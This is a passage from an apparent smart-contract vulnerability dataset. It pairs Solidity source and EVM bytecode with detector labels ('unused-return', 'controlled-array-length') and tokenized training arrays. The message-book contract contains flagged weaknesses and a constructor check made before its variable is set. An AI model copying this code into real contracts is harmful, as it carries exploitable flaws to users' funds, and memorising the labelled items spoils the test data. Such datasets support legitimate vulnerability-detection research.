fffffffffff1614806128bf57508373ffffffffffffffffffffffffffffffffffffffff166128a784610aac565b73ffffffffffffffffffffffffffffffffffffffff16145b806128d057506128cf81856123d2565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166128f982611248565b73ffffffffffffffffffffffffffffffffffffffff161461294f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294690614ebd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129b690614cdd565b60405180910390fd5b6129ca838383612dfd565b6129d560008261264a565b612a2681600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020612e0290919063ffffffff16565b50612a7881600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020612e1c90919063ffffffff16565b50612a8f81836002612e369092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000612aff8360000183612e6b565b60001c905092915050565b600080600080612b1d8660000186612ed8565b915091508160001c8160001c9350935050509250929050565b8060099080519060200190612b4c92919061370f565b5050565b6000612b63846000018460001b84612f5b565b60001c90509392505050565b6000612b7d82600001612fec565b9050919050565b600082821115612bc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bc090614d5d565b60405180910390fd5b818303905092915050565b612bdf8484846128d9565b612beb84848484612ffd565b612c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c2190614c3d565b60405180910390fd5b50505050565b60606000821415612c78576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612d72565b600082905060005b60008214612ca2578080600101915050600a8281612c9a57fe5b049150612c80565b60008167ffffffffffffffff81118015612cbb57600080fd5b506040519080825280601f01601f191660200182016040528015612cee5781602001600182028036833780820191505090505b50905060006001830390508593505b60008414612d6a57600a8481612d0f57fe5b0660300160f81b82828060019003935081518110612d2957fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8481612d6257fe5b049350612cfd565b819450505050505b919050565b6000612d89836000018360001b613161565b905092915050565b612d9b8383613184565b612da86000848484612ffd565b612de7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dde90614c3d565b60405180910390fd5b505050565b600081600001805490509050919050565b505050565b6000612e14836000018360001b613312565b905092915050565b6000612e2e836000018360001b6133fa565b905092915050565b6000612e62846000018460001b8473ffffffffffffffffffffffffffffffffffffffff1660001b61346a565b90509392505050565b600081836000018054905011612eb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ead90614bfd565b60405180910390fd5b826000018281548110612ec557fe5b9060005260206000200154905092915050565b60008082846000018054905011612f24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f1b90614e1d565b60405180910390fd5b6000846000018481548110612f3557fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b60008084600101600085815260200190815260200160002054905060008114158390612fbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fb49190614bb9565b60405180910390fd5b50846000016001820381548110612fd057fe5b9060005260206000209060020201600101549150509392505050565b600081600001805490509050919050565b600061301e8473ffffffffffffffffffffffffffffffffffffffff16613546565b61302b5760019050613159565b60006130f263150b7a0260e01b613040612642565b8887876040516024016130569493929190614ad0565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051806060016040528060328152602001615333603291398773ffffffffffffffffffffffffffffffffffffffff166135599092919063ffffffff16565b905060008180602001905181019061310a9190613b01565b905063150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614925050505b949350505050565b600080836001016000848152602001908152602001600020541415905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156131f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131eb90614e3d565b60405180910390fd5b6131fd81612625565b1561323d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161323490614c7d565b60405180910390fd5b61324960008383612dfd565b61329a81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020612e1c90919063ffffffff16565b506132b181836002612e369092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080836001016000848152602001908152602001600020549050600081146133ee576000600182039050600060018660000180549050039050600086600001828154811061335d57fe5b906000526020600020015490508087600001848154811061337a57fe5b90600052602060002001819055506001830187600101600083815260200190815260200160002081905550866000018054806133b257fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506133f4565b60009150505b92915050565b60006134068383613571565b61345f578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050613464565b600090505b92915050565b60008084600101600085815260200190815260200160002054905060008114156135115784600001604051806040016040528086815260200185815250908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000155602082015181600101555050846000018054905085600101600086815260200190815260200160002081905550600191505061353f565b8285600001600183038154811061352457fe5b90600052602060002090600202016001018190555060009150505b9392505050565b600080823b905060008111915050919050565b60606135688484600085613594565b90509392505050565b600080836001016000848152602001908152602001600020541415905092915050565b6060824710156135d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135d090614d7d565b60405180910390fd5b6135e285613546565b613621576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161361890614f7d565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff16858760405161364a9190614a63565b60006040518083038185875af1925050503d8060008114613687576040519150601f19603f3d011682016040523d82523d6000602084013e61368c565b606091505b509150915061369c8282866136a8565b92505050949350505050565b606083156136b857829050613708565b6000835111156136cb5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136ff9190614bb9565b60405180910390fd5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282613745576000855561378c565b82601f1061375e57805160ff191683800117855561378c565b8280016001018555821561378c579182015b8281111561378b578251825591602001919060010190613770565b5b509050613799919061379d565b5090565b5b808211156137b657600081600090555060010161379e565b5090565b60006137cd6137c884615049565b615018565b9050828152602081018484840111156137e557600080fd5b6137f084828561526a565b509392505050565b600061380b61380684615079565b615018565b90508281526020810184848401111561382357600080fd5b61382e84828561526a565b509392505050565b600081359050613845816152bf565b92915050565b60008135905061385a816152d6565b92915050565b60008151905061386f816152ed565b92915050565b60008135905061388481615304565b92915050565b60008151905061389981615304565b92915050565b600082601f8301126138b057600080fd5b81356138c08482602086016137ba565b91505092915050565b600082601f8301126138da57600080fd5b81356138ea8482602086016137f8565b91505092915050565b6000813590506139028161531b565b92915050565b60006020828403121561391a57600080fd5b600061392884828501613836565b91505092915050565b6000806040838503121561394457600080fd5b600061395285828601613836565b925050602061396385828601613836565b9150509250929050565b60008060006060848603121561398257600080fd5b600061399086828701613836565b93505060206139a186828701613836565b92505060406139b2868287016138f3565b9150509250925092565b600080600080608085870312156139d257600080fd5b60006139e087828801613836565b94505060206139f187828801613836565b9350506040613a02878288016138f3565b925050606085013567ffffffffffffffff811115613a1f57600080fd5b613a2b8782880161389f565b91505092959194509250565b60008060408385031215613a4a57600080fd5b6000613a5885828601613836565b9250506020613a698582860161384b565b9150509250929050565b60008060408385031215613a8657600080fd5b6000613a9485828601613836565b9250506020613aa5858286016138f3565b9150509250929050565b600060208284031215613ac157600080fd5b6000613acf84828501613860565b91505092915050565b600060208284031215613aea57600080fd5b6000613af884828501613875565b91505092915050565b600060208284031215613b1357600080fd5b6000613b218482850161388a565b91505092915050565b600060208284031215613b3c57600080fd5b600082013567ffffffffffffffff811115613b5657600080fd5b613b62848285016138c9565b91505092915050565b600060208284031215613b7d57600080fd5b6000613b8b848285016138f3565b91505092915050565b60008060408385031215613ba757600080fd5b6000613bb5858286016138f3565b925050602083013567ffffffffffffffff811115613bd257600080fd5b613bde858286016138c9565b9150509250929050565b6000613bf48383613e1b565b905092915050565b6000613c088383614a45565b60208301905092915050565b613c1d81615234565b82525050565b613c2c816151b6565b82525050565b613c3b816151a4565b82525050565b6000613c4c826150f3565b613c568185615139565b935083602082028501613c68856150a9565b8060005b85811015613ca45784840389528151613c858582613be8565b9450613c908361511f565b925060208a01995050600181019050613c6c565b50829750879550505050505092915050565b6000613cc1826150fe565b613ccb818561514a565b9350613cd6836150b9565b8060005b83811015613d07578151613cee8882613bfc565b9750613cf98361512c565b925050600181019050613cda565b5085935050505092915050565b613d1d816151c8565b82525050565b6000613d2e82615109565b613d38818561515b565b9350613d48818560208601615279565b613d51816152ae565b840191505092915050565b6000613d6782615109565b613d71818561516c565b9350613d81818560208601615279565b80840191505092915050565b600081546001811660008114613daa5760018114613dcf57613e13565b607f6002830416613dbb818761516c565b955060ff1983168652808601935050613e13565b60028204613ddd818761516c565b9550613de8856150c9565b60005b82811015613e0a57815481890152600182019150602081019050613deb565b82880195505050505b505092915050565b6000613e2682615114565b613e308185615177565b9350613e40818560208601615279565b613e49816152ae565b840191505092915050565b6000613e5f82615114565b613e698185615188565b9350613e79818560208601615279565b613e82816152ae565b840191505092915050565b6000613e9882615114565b613ea28185615199565b9350613eb2818560208601615279565b80840191505092915050565b600081546001811660008114613edb5760018114613f0157613f45565b607f6002830416613eec8187615188565b955060ff198316865260208601935050613f45565b60028204613f0f8187615188565b9550613f1a856150de565b60005b82811015613f3c57815481890152600182019150602081019050613f1d565b80880195505050505b505092915050565b6000613f5a602283615188565b91507f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e60008301527f64730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613fc0602883615188565b91507f53616c65206d7573742062652061637469766520746f206d696e742061204d6560008301527f6d626572736869700000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614026603283615188565b91507f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008301527f63656976657220696d706c656d656e74657200000000000000000000000000006020830152604082019050919050565b600061408c602683615188565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006140f2601c83615188565b91507f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006000830152602082019050919050565b6000614132601b83615188565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000614172602083615188565b91507f4e6f7420656e6f7567682072657365727665206c65667420666f72207465616d6000830152602082019050919050565b60006141b2602483615188565b91507f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614218602f83615188565b91507f507572636861736520776f756c6420657863656564206d617820737570706c7960008301527f206f66204d656d626572736869707300000000000000000000000000000000006020830152604082019050919050565b600061427e601983615188565b91507f4552433732313a20617070726f766520746f2063616c6c6572000000000000006000830152602082019050919050565b60006142be601f83615188565b91507f45746865722076616c75652073656e74206973206e6f7420636f7272656374006000830152602082019050919050565b60006142fe601e83615188565b91507f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006000830152602082019050919050565b600061433e602683615188565b91507f416464726573733a20696e73756666696369656e742062616c616e636520666f60008301527f722063616c6c00000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006143a4602c83615188565b91507f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b600061440a603883615188565b91507f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008301527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006020830152604082019050919050565b6000614470602183615188565b91507f43616e206f6e6c79206d696e7420353020746f6b656e7320617420612074696d60008301527f65000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006144d6602a83615188565b91507f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008301527f726f2061646472657373000000000000000000000000000000000000000000006020830152604082019050919050565b600061453c602283615188565b91507f456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e60008301527f64730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006145a2602083615188565b91507f4552433732313a206d696e7420746f20746865207a65726f20616464726573736000830152602082019050919050565b60006145e2602183615188565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614648602c83615188565b91507f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b60006146ae602083615188565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006146ee602983615188565b91507f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008301527f73206e6f74206f776e00000000000000000000000000000000000000000000006020830152604082019050919050565b6000614754602f83615188565b91507f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008301527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006020830152604082019050919050565b60006147ba602383615188565b91507f4e6577206e616d652069732073616d65206173207468652063757272656e742060008301527f6f6e6500000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614820602183615188565b91507f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614886601683615188565b91507f4c6963656e736520616c7265616479206c6f636b6564000000000000000000006000830152602082019050919050565b60006148c6603183615188565b91507f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008301527f776e6572206e6f7220617070726f7665640000000000000000000000000000006020830152604082019050919050565b600061492c601d83615188565b91507f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006000830152602082019050919050565b600061496c602083615188565b91507f43686f6f73652061206d656d626572736869702077697468696e2072616e67656000830152602082019050919050565b60006149ac602083615188565b91507f43484f4f53452041204d454d424552534849502057495448494e2052414e47456000830152602082019050919050565b60006149ec602d83615188565b91507f4865792c20796f75722077616c6c657420646f65736e2774206f776e2074686960008301527f73206d656d6265727368697021000000000000000000000000000000000000006020830152604082019050919050565b614a4e8161522a565b82525050565b614a5d8161522a565b82525050565b6000614a6f8284613d5c565b915081905092915050565b6000614a868284613d8d565b915081905092915050565b6000614a9d8285613e8d565b9150614aa98284613e8d565b91508190509392505050565b6000602082019050614aca6000830184613c32565b92915050565b6000608082019050614ae56000830187613c23565b614af26020830186613c32565b614aff6040830185614a54565b8181036060830152614b118184613d23565b905095945050505050565b6000606082019050614b316000830186613c14565b614b3e6020830185614a54565b8181036040830152614b508184613e54565b9050949350505050565b60006020820190508181036000830152614b748184613c41565b905092915050565b60006020820190508181036000830152614b968184613cb6565b905092915050565b6000602082019050614bb36000830184613d14565b92915050565b60006020820190508181036000830152614bd38184613e54565b905092915050565b60006020820190508181036000830152614bf58184613ebe565b905092915050565b60006020820190508181036000830152614c1681613f4d565b9050919050565b60006020820190508181036000830152614c3681613fb3565b9050919050565b60006020820190508181036000830152614c5681614019565b9050919050565b60006020820190508181036000830152614c768161407f565b9050919050565b60006020820190508181036000830152614c96816140e5565b9050919050565b60006020820190508181036000830152614cb681614125565b9050919050565b60006020820190508181036000830152614cd681614165565b9050919050565b60006020820190508181036000830152614cf6816141a5565b9050919050565b60006020820190508181036000830152614d168161420b565b9050919050565b60006020820190508181036000830152614d3681614271565b9050919050565b60006020820190508181036000830152614d56816142b1565b9050919050565b60006020820190508181036000830152614d76816142f1565b9050919050565b60006020820190508181036000830152614d9681614331565b9050919050565b60006020820190508181036000830152614db681614397565b9050919050565b60006020820190508181036000830152614dd6816143fd565b9050919050565b60006020820190508181036000830152614df681614463565b9050919050565b60006020820190508181036000830152614e16816144c9565b9050919050565b60006020820190508181036000830152614e368161452f565b9050919050565b60006020820190508181036000830152614e5681614595565b9050919050565b60006020820190508181036000830152614e76816145d5565b9050919050565b60006020820190508181036000830152614e968161463b565b9050919050565b60006020820190508181036000830152614eb6816146a1565b9050919050565b60006020820190508181036000830152614ed6816146e1565b9050919050565b60006020820190508181036000830152614ef681614747565b9050919050565b60006020820190508181036000830152614f16816147ad565b9050919050565b60006020820190508181036000830152614f3681614813565b9050919050565b60006020820190508181036000830152614f5681614879565b9050919050565b60006020820190508181036000830152614f76816148b9565b9050919050565b60006020820190508181036000830152614f968161491f565b9050919050565b60006020820190508181036000830152614fb68161495f565b9050919050565b60006020820190508181036000830152614fd68161499f565b9050919050565b60006020820190508181036000830152614ff6816149df565b9050919050565b60006020820190506150126000830184614a54565b92915050565b6000604051905081810181811067ffffffffffffffff8211171561503f5761503e6152ac565b5b8060405250919050565b600067ffffffffffffffff821115615064576150636152ac565b5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff821115615094576150936152ac565b5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b60006151af8261520a565b9050919050565b60006151c18261520a565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061523f82615246565b9050919050565b600061525182615258565b9050919050565b60006152638261520a565b9050919050565b82818337600083830152505050565b60005b8381101561529757808201518184015260208101905061527c565b838111156152a6576000848401525b50505050565bfe5b6000601f19601f8301169050919050565b6152c8816151a4565b81146152d357600080fd5b50565b6152df816151c8565b81146152ea57600080fd5b50565b6152f6816151d4565b811461530157600080fd5b50565b61530d816151de565b811461531857600080fd5b50565b6153248161522a565b811461532f57600080fd5b5056fe4552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656ea26469706673582212203fdc786b01ed288e1c31444c173e2f809b430a7c330d2da068e75621c4118d0664736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 21084, 2692, 2278, 2487, 2050, 2575, 2683, 13775, 2094, 2692, 2581, 29097, 22907, 29097, 23352, 2692, 22407, 27717, 2094, 21926, 2509, 19797, 2575, 14142, 16048, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,124
0x9640F2964Cee2B9D4723c96cBc258427a180963c
pragma solidity ^0.4.23; //Copyright 2018 PATRIK STAS // //Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: // //The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. // //THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. contract EthernalMessageBook { event MessageEthernalized( uint messageId ); struct Message { string msg; uint value; address sourceAddr; string authorName; uint time; uint blockNumber; string metadata; string link; string title; } Message[] public messages; address private root; uint public price; uint public startingPrice; uint32 public multNumerator; uint32 public multDenominator; uint32 public expirationSeconds; uint public expirationTime; constructor(uint argStartPrice, uint32 argNumerator, uint32 argDenominator, uint32 argExpirationSeconds) public { root = msg.sender; price = argStartPrice; startingPrice = argStartPrice; require(argNumerator > multDenominator); multNumerator = argNumerator; multDenominator = argDenominator; expirationSeconds = argExpirationSeconds; expirationTime = now; } function getMessagesCount() public view returns (uint) { return messages.length; } function getSummary() public view returns (uint32, uint32, uint, uint) { return ( multNumerator, multDenominator, startingPrice, messages.length ); } function getSecondsToExpiration() public view returns (uint) { if (expirationTime > now) { return expirationTime - now; } else return 0; } function writeMessage(string argMsg, string argTitle, string argAuthorName, string argLink, string argMeta) public payable { require(block.timestamp >= expirationTime); require(msg.value >= price); Message memory newMessage = Message({ msg : argMsg, value : msg.value, sourceAddr : msg.sender, authorName : argAuthorName, time : block.timestamp, blockNumber : block.number, metadata : argMeta, link : argLink, title: argTitle }); messages.push(newMessage); address thisContract = this; root.transfer(thisContract.balance); emit MessageEthernalized(messages.length - 1); price = (price * multNumerator) / multDenominator; expirationTime = block.timestamp + expirationSeconds; } // no fallback - reject ether sent by mistake/invalid transaction }
0x6080604052600436106100ae5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630d80fefd81146100b35780631936dd8f1461030957806322e3989b1461044f5780633d0c46d01461047d5780634051ddac146104a4578063a035b1fe146104e8578063ace4283b146104fd578063c5bdbd7014610512578063d6fbf20214610527578063da284dcc1461053c578063e05d769e14610551575b600080fd5b3480156100bf57600080fd5b506100cb600435610566565b60405180806020018a815260200189600160a060020a0316600160a060020a031681526020018060200188815260200187815260200180602001806020018060200186810386528f818151815260200191508051906020019080838360005b8381101561014257818101518382015260200161012a565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b5086810385528c5181528c516020918201918e019080838360005b838110156101a257818101518382015260200161018a565b50505050905090810190601f1680156101cf5780820380516001836020036101000a031916815260200191505b5086810384528951815289516020918201918b019080838360005b838110156102025781810151838201526020016101ea565b50505050905090810190601f16801561022f5780820380516001836020036101000a031916815260200191505b5086810383528851815288516020918201918a019080838360005b8381101561026257818101518382015260200161024a565b50505050905090810190601f16801561028f5780820380516001836020036101000a031916815260200191505b50868103825287518152875160209182019189019080838360005b838110156102c25781810151838201526020016102aa565b50505050905090810190601f1680156102ef5780820380516001836020036101000a031916815260200191505b509e50505050505050505050505050505060405180910390f35b6040805160206004803580820135601f810184900484028501840190955284845261044d94369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375094975061088d9650505050505050565b005b34801561045b57600080fd5b50610464610adf565b6040805163ffffffff9092168252519081900360200190f35b34801561048957600080fd5b50610492610aeb565b60408051918252519081900360200190f35b3480156104b057600080fd5b506104b9610af2565b6040805163ffffffff958616815293909416602084015282840191909152606082015290519081900360800190f35b3480156104f457600080fd5b50610492610b11565b34801561050957600080fd5b50610492610b17565b34801561051e57600080fd5b50610464610b37565b34801561053357600080fd5b50610492610b4b565b34801561054857600080fd5b50610492610b51565b34801561055d57600080fd5b50610464610b57565b600080548290811061057457fe5b60009182526020918290206009919091020180546040805160026001841615610100026000190190931692909204601f81018590048502830185019091528082529193509183919083018282801561060d5780601f106105e25761010080835404028352916020019161060d565b820191906000526020600020905b8154815290600101906020018083116105f057829003601f168201915b505050600180850154600280870154600388018054604080516020601f60001999851615610100029990990190931695909504968701829004820285018201905285845297989397600160a060020a0390921696509294509092908301828280156106b95780601f1061068e576101008083540402835291602001916106b9565b820191906000526020600020905b81548152906001019060200180831161069c57829003601f168201915b505050505090806004015490806005015490806006018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107635780601f1061073857610100808354040283529160200191610763565b820191906000526020600020905b81548152906001019060200180831161074657829003601f168201915b5050505060078301805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529495949350908301828280156107f35780601f106107c8576101008083540402835291602001916107f3565b820191906000526020600020905b8154815290600101906020018083116107d657829003601f168201915b5050505060088301805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529495949350908301828280156108835780601f1061085857610100808354040283529160200191610883565b820191906000526020600020905b81548152906001019060200180831161086657829003601f168201915b5050505050905089565b610895610b6f565b6005546000904210156108a757600080fd5b6002543410156108b657600080fd5b604080516101208101825288815234602080830191909152600160a060020a03331692820192909252606081018790524260808201524360a082015260c0810185905260e0810186905261010081018890526000805460018101808355918052825180519396509193869360099092027f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e56301926109599284929190910190610bc5565b506020828101516001830155604083015160028301805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909216919091179055606083015180516109af9260038501920190610bc5565b506080820151600482015560a0820151600582015560c082015180516109df916006840191602090910190610bc5565b5060e082015180516109fb916007840191602090910190610bc5565b506101008201518051610a18916008840191602090910190610bc5565b5050600154604051309450600160a060020a0391821693509084163180156108fc029250906000818181858888f19350505050158015610a5c573d6000803e3d6000fd5b50600054604080516000199092018252517fa13ffaf0c8193b54f3d32d61c6897b20c55c56acfa9c8982de17f7e7160701b79181900360200190a160045460025463ffffffff64010000000083048116921602811515610ab857fe5b04600255505060045468010000000000000000900463ffffffff1642016005555050505050565b60045463ffffffff1681565b6000545b90565b60045460035460005463ffffffff808416936401000000009004169293565b60025481565b6000426005541115610b2f5742600554039050610aef565b506000610aef565b600454640100000000900463ffffffff1681565b60035481565b60055481565b60045468010000000000000000900463ffffffff1681565b6101206040519081016040528060608152602001600081526020016000600160a060020a031681526020016060815260200160008152602001600081526020016060815260200160608152602001606081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610c0657805160ff1916838001178555610c33565b82800160010185558215610c33579182015b82811115610c33578251825591602001919060010190610c18565b50610c3f929150610c43565b5090565b610aef91905b80821115610c3f5760008155600101610c495600a165627a7a72305820531232762f22e9a1b4696c4ee3931c6309a0905eab66b45a14e171c1010b07940029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 21084, 2692, 2546, 24594, 21084, 3401, 2063, 2475, 2497, 2683, 2094, 22610, 21926, 2278, 2683, 2575, 27421, 2278, 17788, 2620, 20958, 2581, 27717, 17914, 2683, 2575, 2509, 2278, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2603, 1025, 1013, 1013, 9385, 2760, 6986, 15564, 2358, 3022, 1013, 1013, 1013, 1013, 6656, 2003, 2182, 3762, 4379, 1010, 2489, 1997, 3715, 1010, 2000, 2151, 2711, 11381, 1037, 6100, 1997, 2023, 4007, 1998, 3378, 12653, 6764, 1006, 1996, 1000, 4007, 1000, 1007, 1010, 2000, 3066, 1999, 1996, 4007, 2302, 16840, 1010, 2164, 2302, 22718, 1996, 2916, 2000, 2224, 1010, 6100, 1010, 19933, 1010, 13590, 1010, 10172, 1010, 16062, 1010, 4942, 13231, 12325, 1010, 1998, 1013, 2030, 5271, 4809, 1997, 1996, 4007, 1010, 1998, 2000, 102 ]
